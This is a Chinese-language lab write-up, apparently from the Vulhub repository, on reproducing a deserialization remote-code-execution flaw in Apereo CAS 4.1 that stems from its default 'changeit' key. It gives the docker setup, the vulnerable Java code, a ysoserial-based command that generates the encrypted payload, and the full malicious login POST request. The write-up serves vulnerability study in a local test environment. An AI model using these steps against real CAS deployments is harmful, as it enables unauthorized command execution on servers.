Aaron
63285f61aa
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75 lines
2.6 KiB
Markdown
75 lines
2.6 KiB
Markdown
# Apereo CAS 4.1 反序列化命令执行漏洞
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Apereo CAS是一款Apereo发布的集中认证服务平台，常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题，利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞，进而执行任意命令。
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参考链接：
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- https://apereo.github.io/2016/04/08/commonsvulndisc/
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## 环境搭建
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执行如下命令启动一个Apereo CAS 4.1.5：
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```
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docker compose up -d
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```
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环境启动后，访问`http://your-ip:8080/cas/login`即可查看到登录页面。
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## 漏洞复现
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漏洞原理实际上是Webflow中使用了默认密钥`changeit`：
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```java
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public class EncryptedTranscoder implements Transcoder {
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private CipherBean cipherBean;
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private boolean compression = true;
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public EncryptedTranscoder() throws IOException {
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BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
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bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
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bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
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bufferedBlockCipherBean.setKeyAlias("aes128");
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bufferedBlockCipherBean.setKeyPassword("changeit");
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bufferedBlockCipherBean.setNonce(new RBGNonce());
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this.setCipherBean(bufferedBlockCipherBean);
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}
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// ...
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```
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我们使用[Apereo-CAS-Attack](https://github.com/vulhub/Apereo-CAS-Attack)来复现这个漏洞。使用ysoserial的CommonsCollections4生成加密后的Payload：
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```
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java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success"
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```
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然后我们登录CAS并抓包，将Body中的`execution`值替换成上面生成的Payload发送：
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```
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POST /cas/login HTTP/1.1
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Host: your-ip
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Content-Length: 2287
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Cache-Control: max-age=0
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Upgrade-Insecure-Requests: 1
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Origin: http://your-ip:8080
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Content-Type: application/x-www-form-urlencoded
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Referer: http://your-ip:8080/cas/login
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Accept-Encoding: gzip, deflate
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Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
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Cookie: JSESSIONID=24FB4BAAE1A66E8B76D521EE366B3E12; _ga=GA1.1.1139210877.1586367734
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Connection: close
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username=test&password=test<=LT-2-gs2epe7hUYofoq0gI21Cf6WZqMiJyj-cas01.example.org&execution=[payload]&_eventId=submit&submit=LOGIN
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```
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登录Apereo CAS，可见`touch /tmp/success`已成功执行：
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